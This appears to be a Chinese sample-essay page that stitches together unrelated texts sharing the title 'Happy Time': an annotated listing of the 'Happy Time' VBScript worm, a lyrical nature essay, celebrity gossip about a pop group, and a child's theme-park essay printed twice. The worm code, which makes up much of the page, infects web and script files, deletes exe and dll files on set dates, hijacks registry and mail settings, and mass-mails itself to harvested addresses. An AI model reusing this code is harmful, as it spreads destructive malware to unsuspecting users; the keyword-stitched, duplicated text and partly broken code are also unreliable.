前言:想要写出一篇令人眼前一亮的文章吗?我们特意为您整理了5篇欢乐时光范文,相信会为您的写作带来帮助,发现更多的写作思路和灵感。
下面让我们来看看它藏在快乐的外衣下的是什么吧!
*************** 欢乐时光 ***************
Rem I am sorry! happy time
On Error Resume Next
Mload
以上为病毒入口,并加上I am sorry! happy time的注释,以表明此文件已被感染过。
Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")
Set Oh = CreateObject("Shell.Application")
建立枚举对象,避开了安全审核
If IsHTML Then
调用IsHtml函数,如果是Html,就小写……
mURL = LCase(document.Location)
If mPath = "" Then
Os.Reset
Os.Path = "C:\Help.htm"
Os.Doc = Lhtml()
Os.Write()
如果mPath为空,就在C盘下生成Help.htm
Ihtml = ""
超文本的内容,并指向C:\Help.Htm
Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
Else
If Iv(mPath, "Help.vbs") Then
setInterval "Rt()", 10000
Else
m = "hta"
If LCase(m) = Right(mURL, Len(m)) Then
id = setTimeout("mclose()", 1)
设置超时条件
main
Else
Os.Reset()
Os.Path = mPath & "\" & "Help.hta"
Os.Doc = Lhtml()
Os.write()
Iv mPath, "Help.hta"
生成Help.hta
End If
End If
End If
Else
Main
都不是,就执行main函数
End If
End Sub
******************************************************************
以下为主函数,太长了!
Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
不用说,创建FileSystemObject对象啦
Set Od = CreateObject("Scripting.Dictionary")
创建Dictionary对象, 用来保存数据键和项目对,它实际上是一个比较开放的数组
Od.Add "html", "1100"
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
向Dictionary对象添加要感染的项目对
Ks = "HKEY_CURRENT_USER\Software\"
使用变量以减少代码长度
Ds = Grf()
Cs = Gsf()
If IsVbs Then
如果是VBS
If Of.FileExists("C:\help.htm") Then
Of.DeleteFile ("C:\help.htm")
如果c:\help.htm存在,就删掉,消灭遗留的痕迹
End If
Key = CInt(Month(Date) + Day(Date))
If Key = 13 Then
如果月与日之和为13(这也是它变种多的原因——将13改为其他数字即可)
Od.RemoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
就清空Dictionary数组,并将exe、dll加入Dictionary 对象,以备删除之用
End If
Cn = Rg(Ks & "Help\Count")
读注册表中的HKEY_CURRENT_USER\Software\Help\Count键值
If Cn = "" Then
Cn = 1
如果Count为0,就设为1
End If
Rw Ks & "Help\Count", Cn + 1
添加HKEY_CURRENT_USER\Software\Help\Count键值,值为2
f1 = Rg(Ks & "Help\FileName")
再读HKEY_CURRENT_USER\Software\Help\FileName键值
f2 = FNext(Of, Od, f1)
得到该文件的文件名
fext = GetExt(Of, Od, f2)
得到该文件扩展名的代号
Rw Ks & "Help\FileName", f2
添加键值
If IsDel(fext) Then
如果扩展名代号的第四个字符为1——即0001(exe、dll)
f3 = f2
储存文件名
f2 = FNext(Of, Od, f2)
得到文件的文件名?
Rw Ks & "Help\FileName", f2
写注册表
Of.DeleteFile f3
删除文件
Else
If LCase(WScript.ScriptFullname) LCase(f2) Then
如果不是集合中的文件
Fw Of, f2, fext
End If
End If
If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
使用 Cint函数强制执行转换,并发邮件
Tsend
Else
adds = Og
Msend (adds)
End If
End If
wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")
If Rg(Ks & "Help\wallPaper") wp Or wp = "" Then
比较桌面墙纸是否已改变
If wp = "" Then
n1 = ""
n3 = Cs & "\Help.htm"
Else
mP = Of.GetFile(wp).ParentFolder
n1 = Of.GetFileName(wp)
n2 = Of.GetBaseName(wp)
n3 = Cs & "\" & n2 & ".htm"
End If
Set pfc = Of.CreateTextFile(n3, True)
mt = Sa("1100")
创建超文本
pfc.Write "
" & "/Body>" & mt
超文本的内容
pfc.Close
Rw Ks & "Help\wallPaper", n3
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3
将带毒的超文本设置成活动桌面
End If
Else
Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True)
fc.Write Sa("0100")
创建vbs文件
fc.Close
bf = Cs & "\Untitled.htm"
Set fc2 = Of.CreateTextFile(bf, True)
fc2.Write Lhtml
fc2.Close
创建windows下的untitled.htm
oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID")
oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook E
xpress\5.0\Mail"
MSH = oe & "\Message Send HTML"
CUS = oe & "\Compose Use Stationery"
SN = oe & "\Stationery Name"
Rw MSH, 1
Rw CUS, 1
Rw SN, bf
在Hkey_Current_User\Identities\{AECF6CA3-9614-4AF4-AEF2-CT63FE9D97A4}\Software\Microsoft\Outlook Express\5.0\Mail下添加三个键值Message Send HTML 、Compose Use Stationery 和Stationery Name,前两个的值为1,后一个指向windows\untitled.htm
Web = Cs & "\WEB"
Set gf = Of.GetFolder(Web).Files
得到windows\web文件夹里的文件
Od.Add "htt", "1100"
向Dictionary里添加htt项目对
For Each m In gf
遍历windows\web下的每一个文件
fext = GetExt(Of, Od, m)
得到每个文件的扩展名
If fext "" Then
如果扩展名不为空,则
Fw Of, m, fext
End If
Next
End If
End Sub
******************************************************************
Sub mclose()
document.Write "I am sorry!写入I am sorry,并关闭。以此作为感染与否的标记
window.Close
End Sub
******************************************************************
Sub Fw(Of, S, n)
此时S为文件名,n为文件扩展名
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc = Of.OpenTextFile(S, 1)
只读模式打开该文件
mt = fc.ReadAll
读入全部文件流
fc.Close
关闭文件
If Not Sc(mt) Then
如果未感染过
mmail = Ml(mt)
mt = Sa(n)
Set fc2 = Of.OpenTextFile(S, 8)
打开文件并在文件末尾进行写爱作
fc2.Write mt
fc2.Close
Msend (mmail)
发带毒邮件
End If
End Sub
******************************************************************
Function Sc(S)
mN = "Rem I am sorry! happy time"
If InStr(S, mN) > 0 Then
如果读入的文件流中有Rem I am sorry! happy time
Sc = True
Else
Sc = False
表示已感染过,返回True,否则为False
End If
End Function
******************************************************************
Function FNext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname = ""
T = False
初始化变量
If Of.FileExists(S) Then
如果S存在于当前文件夹中
fpath = Of.GetFile(S).ParentFolder
得到文件的父目录名
fname = S
得到文件名
ElseIf Of.FolderExists(S) Then
不存在于当前文件夹中,则得到目录名
fpath = S
T = True
Else
fpath = Dnext(Of, "")
得到当前盘符——即根目录
End If
Do While True
Set gf = Of.GetFolder(fpath).Files
得到当前目录下的所有文件对象
For Each m In gf
遍历每个文件
If T Then
If GetExt(Of, Od, m) "" Then
如果该文件是文件集合中的一员
FNext = m
则返回该文件名,供调用的函数或过程使用——感染或删除之
Exit Function
End If
ElseIf LCase(m) = LCase(fname) Or fname = "" Then
如果没文件
T = True
End If
Next
fpath = Pnext(Of, fpath)
Loop
End Function
******************************************************************
Function Pnext(Of, S)
On Error Resume Next
Dim Ppath, Npath, gp, pn, T, m
T = False
If Of.FolderExists(S) Then
如果如果指定的文件夹存在
Set gp = Of.GetFolder(S).SubFolders
就得到子目录数
pn = gp.Count
If pn = 0 Then
如果没子目录
Ppath = LCase(S)
Npath = LCase(Of.GetParentFolderName(S))
得到父目录的小写形式
T = True
Else
Npath = LCase(S)
有子目录,得到其小写形式的集合
End If
Do While Not Er
For Each pn In Of.GetFolder(Npath).SubFolders
得到子目录下的子目录
If T Then
If Ppath = LCase(pn) Then
T = False
End If
Else
Pnext = LCase(pn)
Exit Function
End If
Next
T = True
Ppath = LCase(Npath)
将字符串转化成小写
Npath = Of.GetParentFolderName(Npath)
If Of.GetFolder(Ppath).IsRootFolder Then
如果是根目录
m = Of.GetDriveName(Ppath)
就得到分区符
Pnext = Dnext(Of, m)
Exit Function
End If
Loop
End If
End Function
******************************************************************
Function Dnext(Of, S)
Dim dc, n, d, T, m
On Error Resume Next
T = False
m = ""
Set dc = Of.Drives
得到所有的驱动器盘符
For Each d In dc
遍历每个驱动器
If d.DriveType = 2 Or d.DriveType = 3 Then
如果是网络盘或本地盘
If T Then
Dnext = d
Exit Function
如果是False,就返回当前盘,并退出本函数
Else
If LCase(S) = LCase(d) Then
如果是True且盘符相同,就令T为True
T = True
End If
If m = "" Then
如果m为空,就将盘符付给m
m = d
End If
End If
End If
Next
Dnext = m
返回盘符
End Function
******************************************************************
Function GetExt(Of, Od, S)
Dim fext
On Error Resume Next
fext = LCase(Of.GetExtensionName(S))
返回该文件扩展名的小写
GetExt = Od.Item(fext)
返回Dictionary对象中指定的key对应的item——即0001(exe)等
End Function
******************************************************************
Sub Rw(k, v)
写注册表
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
创建对象
R.RegWrite k, v
End Sub
******************************************************************
Function Rg(v)
读注册表
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
创建对象
Rg = R.RegRead(v)
End Function
******************************************************************
Function IsVbs()
此函数判断是不是VBS文件
Dim ErrTest
On Error Resume Next
ErrTest = WScript.ScriptFullname
If Err Then
如果出错,则不是VBS
IsVbs = False
Else
IsVbs = True
End If
End Function
******************************************************************
Function IsHTML()
此函数判断是不是Html文件
Dim ErrTest
On Error Resume Next
ErrTest = document.Location
If Er Then
IsHTML = False
如果出错,则不是超文本
Else
IsHTML = True
End If
End Function
******************************************************************
Function IsMail(S)
此函数判断是不是邮件地址
Dim m1, m2
IsMail = False
If InStr(S, vbCrLf) = 0 Then
返回vbCrLf在S中第一次出现的位置, vbCrLf是换行符
m1 = InStr(S, "@")
m2 = InStr(S, ".")
If m1 0 And m1 < m2 Then
如果有“@”符号且“@”在“."之前,则是邮件地址
IsMail = True
End If
End If
End Function
******************************************************************
Function Gsf()
得到windows目录
Dim Of, m
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
创建FileSystemObject对象
m = Of.GetSpecialFolder(0)
得到特殊目录——Windows、System和Temp目录
If Er Then
如果失败,返回C:
Gsf = "C:\"
Else
若正常,则返回%Windows%
Gsf = m
End If
End Function
******************************************************************
Function Lhtml()
写入超文本的内容,其中vbCrLf是换行符
Lhtml = "" Help " " & Lscript(Lvbs()) & vbCrLf & _
"End Function
******************************************************************
Function Lscript(S)
写入vbscript的声明
Lscript = "" & vbCrLf & _
S & ""
End Function
******************************************************************
Function Sl(S1, S2, n)
Dim l1, l2, l3, i
l1 = Len(S1)
得到文件流的长度
l2 = Len(S2)
得到mailto:的长度
i = InStr(S1, S2)
在文件流中查找mailto:第一次出现的位置——值为一个数
If i > 0 Then
找到则进行字符串爱作
l3 = i + l2 - 1
If n = 0 Then
Sl = Left(S1, i - 1)
ElseIf n = 1 Then
Sl = Right(S1, l1 - l3)
End If
Else
Sl = ""
End If
End Function
******************************************************************
Function Og()
得到WAB(通讯簿)中的邮件地址
Dim i, n, m(), Om, Oo
Set Oo = CreateObject("Outlook.Application")
创建Outlook应用程序对象,Outlook和Outlook Express都跑不掉啦!
Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items
n = Om.Count
ReDim m(n)
For i = 1 To n
m(i - 1) = Om.Item(i).Email1Address
得到每个WAB中的邮件地址
Next
Og = m
End Function
******************************************************************
Sub Tsend()
发带毒邮件
Dim Od, MS, MM, a, m
Set Od = CreateObject("Scripting.Dictionary")
MConnect MS, MM
MM.FetchSorted = True
MM.Fetch
For i = 0 To MM.MsgCount - 1
MM.MsgIndex = i
a = MM.MsgOrigAddress
If Od.Item(a) = "" Then
Od.Item(a) = MM.MsgSubject
End If
Next
For Each m In Od.Keys
MM.Compose
MM.MsgSubject = "Fw: " & Od.Item(m)
设置邮件标题
MM.RecipAddress = m
此邮件的当前的目标邮件地址
MM.AttachmentPathName = Gsf & "\Untitled.htm"
添加附件Windows\Untitled.htm
MM.Send
发送!
Next
MS.SignOff
End Sub
******************************************************************
Function Er()
设置的错误陷阱,避免程序崩溃,严谨的风格值得学习
If Err.Number = 0 Then
Er = False
Else
Err.Clear
Er = True
End If
End Function
******************************************************************
Function IsDel(S)
此函数查看当前文件是否是要删除的文件类型
If Mid(S, 4, 1) = 1 Then
看S的第四个字符是否是1——即是0001(exe和dll)
IsDel = True
如是,返回True,以备删除
Else
IsDel = False
如不是,返回False
End If
End Function
******************************************************************
阳光还是一如既往地从枝叶缝隙洒落下来,到处是明亮的一片.地上斑斑妖冶的阴暗错落的点,其实是树叶有意的神秘,仿佛是漆黑的夜空,璀璨的群星散发逸动的光芒.但是我怎么又听见,是阳光温存地与树叶亲吻,已至于我能够看见他们亲吻的痕迹.温存地,无声无息地交融,那舒服的呼吸,环绕在我们的耳系.
有限的视觉是一片你拥抱不了的蓝天,但为什么,我却想哭泣.不是不是,为了天空的爱而哭泣.她是多么朴素,把我紧紧的裹在她的怀里.好想飘飞上去,飞到她脸上那丝白云,抚摸那,别人看不见的沧桑和从容.可惜我飞不到那边儿去了,但是我伸出双手,她的面容就在我的眼前.我只得心存感激的安静下来,受着她无时的呵护.
时光的痕划过星河,留下了纹,造就了眼前这条曲折,这小路.可以在两旁碧绿的草坪延伸到辽阔的草原去,可以延伸到我的内心里去.哪怕那里有过风吹雨打的痕迹,哪怕昨日瑰丽的朝霞失落于退潮的堤岸,哪怕辽阔的雄歌消失在山巅的蓝天.明天的我们,将再次收获一个黎明的希望.只因大自然不时地赐予于我们生命的希望和启迪,像那两旁的草坪,如果没有雨的滋润,哪来的青翠欲滴,如果没有风的锻炼,拿来坚固的根基?
西面是一面高大的墙,墙边种着几棵树.是不是松树?只是知道他们没有了松柏青绿的外衣,却有着比他们更为高大的身躯.象山窑里默默守望的老人,风琢雕出一道道深壑.两眼睁出一点点的星光,让心里的期盼流出眼外,湿润我们的心.他们很安详,阳光穿过他们摇曳的长长的灰色枝条,缓缓的,犹如一曲宁静的曲子,不自觉地舞动着生命的真谛.几只行都的小鸟,不时从这里飞到那边,它们也很安静,连鸟儿,也不忍心破坏这里的安谧.
爱尔兰笛曲一直幽幽飘荡在我身边,洗涤着心灵,难忘啊,依偎着的欢乐时光.
“Party Boys”,光听团名就知道这是一帮有点自恋有些自大又喜欢耍宝恶搞的大男生,小猪团长向大家介绍这个团体时是这样说滴:“我们是一群喜欢运动、搞笑、帮助弱小、热心助人、带给别人欢笑的帅哥团体!重点是,我们Party Boys都是演艺圈的精英,有偶像、舞者、演唱会幕后工作人员和节目制作人,他们在工作上都是最棒的!所以我们这个团体不是随便都可以加入的哦!”
帅哥成员543
Party Boys由团长罗志祥发起,成员全是紧紧团结在小猪周围的好朋友。明星成员包括《娱乐百分百》的主持拍档小鬼,交情匪浅的ENERGY成员坤达,还有贾静雯的弟弟、“元卫觉醒”组合的卫斯里,剩下的就是对大家来说有点陌生的幕后工作人员了,包括制作人小方,舞者小苇,还有舞台总监红毛和刚加入不久的新成员亚汉等。
小鬼几乎是在幕前跟小猪一起出现频率最高的人。除了主持《娱乐百分百》,他还在《转角*遇到爱》里客串了一把小猪的好友,戏里戏外都上演兄弟情深的戏码,活像连体婴。小鬼说:“和小猪是在游戏节目里认识的,我也成为了Party Boys的成员,能够和他一起主持《娱乐百分百》我相当开心,毕竟他都会带着我,我才能轻松地主持节目!”
而卫斯里最近更是在小猪的生活中扮演了重要角色:绯闻男友。之前他们俩在部落格上放了一张小猪帮卫斯里吹头发的照片,因此歌迷们大肆猜测两个人是一对,之后有一天小猪与卫斯里居然大方地手牵手出来逛街,小猪还呛声:“为什么女生跟女生可以手牵手,男生就不行?”两个人都爱恶搞,就是喜欢用另类的方式展现“哥们儿”情谊,在小猪演唱会的后台还故意摆出嘴对嘴的pose,小猪不怕别人误会,再补上一句:“我专辑里的创作曲《自恋》就是在卫斯里家的录音室里完成的。”
内裤天团的麻辣趣事
“Party Boys”其实是个内裤天团,每次在家里聚会,大家一进家门一定是先脱裤子,不管是吃饭还是打麻将,每个人都只穿四角裤,罗志祥更有怪癖,喜欢穿着四角裤不脱袜子,样子有够爆笑。有一次卫斯里从后面把罗志祥的四角裤一下子拉到脚踝上,罗志祥转过来的时候,完全一副什么事都没发生过的样子,继续做该做的事,真是自然,所有人都笑得趴到了地上。
今天,老师带领我们到广州航天欢乐世界去游玩,大家高兴极了。早上,我们乘上校车,怀着激动的心情来到了航天欢乐世界。
我们来到航天科普馆,首先映入我眼帘的是“神舟七号”。它直直地矗立着,红红的“神舟七号”四个大字分外耀眼。望着它,我仿佛又看见翟志刚叔叔手拿着鲜艳的五星红旗在太空挥舞着,向全世界宣告:“中国人来了!”我心中感到无比的自豪。接着,我们来到火箭跟前。导游阿姨告诉我们,这枚火箭有110米长,直径达3米。长长的火箭上印着面五星红旗,上面写着翟志刚、刘伯明、景海鹏叔叔们的名字。“哎哟!”有个倒霉鬼一头碰到了火箭上。他一手摸着头,一手拍了拍火箭,哭丧着脸说:“火箭造得可真结实!”引得我们哈哈大笑。
离开了科普馆,我们来到了太空飞行塔前。我们坐上了飞鹰,飞到了鬼屋,见到了只剩半边脸的恐龙、吊着头血直往下流的猴子,吓得我们哇哇大叫。随后,我们又玩了海盗船、卡丁车、摇头飞椅……
时间不早了,我们也玩累了,恋恋不舍地离开了这里。这次活动让我大开眼界,学到了许多知识。我一定要努力学习,将来为祖国的航天事业做贡献。
今天,老师带领我们到广州航天欢乐世界去游玩,大家高兴极了。早上,我们乘上校车,怀着激动的心情来到了航天欢乐世界。
我们来到航天科普馆,首先映入我眼帘的是“神舟七号”。它直直地矗立着,红红的“神舟七号”四个大字分外耀眼。望着它,我仿佛又看见翟志刚叔叔手拿着鲜艳的五星红旗在太空挥舞着,向全世界宣告:“中国人来了!”我心中感到无比的自豪。接着,我们来到火箭跟前。导游阿姨告诉我们,这枚火箭有110米长,直径达3米。长长的火箭上印着面五星红旗,上面写着翟志刚、刘伯明、景海鹏叔叔们的名字。“哎哟!”有个倒霉鬼一头碰到了火箭上。他一手摸着头,一手拍了拍火箭,哭丧着脸说:“火箭造得可真结实!”引得我们哈哈大笑。
离开了科普馆,我们来到了太空飞行塔前。我们坐上了飞鹰,飞到了鬼屋,见到了只剩半边脸的恐龙、吊着头血直往下流的猴子,吓得我们哇哇大叫。随后,我们又玩了海盗船、卡丁车、摇头飞椅……
时间不早了,我们也玩累了,恋恋不舍地离开了这里。这次活动让我大开眼界,学到了许多知识。我一定要努力学习,将来为祖国的航天事业做贡献。